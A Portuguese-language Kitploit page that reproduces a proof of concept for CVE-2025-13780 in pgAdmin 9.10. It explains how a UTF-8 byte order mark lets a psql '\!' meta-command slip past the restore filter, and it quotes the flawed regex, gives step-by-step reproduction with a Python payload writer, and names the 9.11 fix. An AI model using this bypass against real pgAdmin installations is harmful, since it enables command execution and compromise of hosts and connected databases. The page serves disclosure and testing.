Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
pgadmin4-9.10-CVE-2025-13780 — Prova de conceito para CVE-2025-13780 | Kitploit
Ferramentas/GitHubGitHub/zeropwn/pgadmin4-9.10-cve-2025-13780
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoComando e ControleDesenvolvimento de Payloads
GitHubzeropwn/pgadmin4-9.10-cve-2025-13780

pgadmin4-9.10-CVE-2025-13780

Prova de conceito para CVE-2025-13780

Ver Repositório
1411há 9 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

pgadmin4 < 9.11 Execução de Comandos por Filtro de Meta-Commands

Resumo

O filtro de meta-commands PLAIN restore introduzido no pgAdmin como parte da correção para o Issue 9320 não detecta meta-commands quando um arquivo SQL começa com um Byte Order Mark UTF-8 (EF BB BF) ou outras sequências especiais. O filtro implementado usa a função has_meta_commands(), que examina bytes brutos usando uma expressão regular. A regex não trata os bytes como ignoráveis, então meta-commands como ! permanecem indetectados. Quando o pgAdmin invoca psql com --file, o psql remove os bytes e executa o comando. Isso pode resultar em execução remota de comandos durante uma operação de restore.

Esta falha contorna o patch introduzido no commit 1d397395f75320ca1d4ed5e9ca721c603415e836 (https://github.com/pgadmin-org/pgadmin4/commit/1d397395f75320ca1d4ed5e9ca721c603415e836)

Versões Afetadas

Confirmadamente afetadas:

  • pgAdmin 9.10 snapshot
    Commit: 63ee81202b65e1e8923eb1b917b49312a6fb7df2 (2025-11-13)

Provavelmente afetadas:

  • Qualquer versão contendo has_meta_commands() corrigida do commit 1d397395f75320ca1d4ed5e9ca721c603415e836

Mitigação

  • 9.11+: restores PLAIN são executados no modo restrito do psql (\restrict), portanto meta-commands agora são bloqueados pelo próprio psql
  • 9.10: vulnerável ao bypass do filtro.

Detalhes

Localização:

  • web/pgadmin/tools/restore/__init__.py
  • Função has_meta_commands()

Código relevante (da versão corrigida):

def has_meta_commands(path, chunk_size=8 * 1024 * 1024):
    pattern = re.compile(br'(^|\n)[ \t]*\\')

    with open(path, "rb") as f:
        prev_tail = b""
        while chunk := f.read(chunk_size):
            data = prev_tail + chunk

            if pattern.search(data):
                return True

            prev_tail = data[-10:]

    return False

Causa raiz:

  1. Arquivos SQL são abertos em modo binário.
  2. A regex trata apenas espaços e tabulações como ignoráveis antes de uma barra invertida.
  3. Um BOM UTF-8 (EF BB BF) ou sequência semelhante colocado antes da barra invertida impede a detecção.
  4. O pgAdmin conclui incorretamente que o arquivo não contém meta-commands.
  5. O psql remove o BOM ao ler e executa o meta-command normalmente.

Comportamento esperado:

  • Arquivos SQL contendo meta-commands devem ser bloqueados independentemente do BOM.

Comportamento real:

  • Meta-commands prefixados com BOM contornam o filtro e permitem a execução.

Etapas de Reprodução

Etapa 1: Crie um arquivo SQL começando com um BOM e um meta-command.

payload = b"\xef\xbb\xbf\\! echo HACKED_FROM_BOM > /tmp/bom_ran\nSELECT 1;\n"
with open("bypass_bom.sql", "wb") as f:
    f.write(payload)

Etapa 2: Verifique o BOM:

xxd bypass_bom.sql | head -1

Esperado:

ef bb bf 5c 21 ...

Etapa 3: Coloque o arquivo no armazenamento do pgAdmin:

/var/lib/pgadmin/storage/<user>/bypass_bom.sql

Etapa 4: No pgAdmin: Restore -> Formato: PLAIN -> selecione bypass_bom.sql -> Executar

Etapa 5: Verifique a execução:

ls /tmp/bom_ran

O arquivo de controle sem BOM é corretamente bloqueado.

Prova de Conceito (PoC)

Payload com prefixo BOM:

\xef\xbb\xbf\\! echo HACKED_FROM_BOM > /tmp/bom_ran
SELECT 1;

Payload de controle:

\\! echo SHOULD_BE_BLOCKED
SELECT 1;

Impacto

  • Execução de comandos por meio de meta-commands.
  • Leitura/escrita arbitrária de arquivos.
  • Comprometimento total do host do pgAdmin.
  • Possível comprometimento dos servidores PostgreSQL conectados.
Baixar ferramenta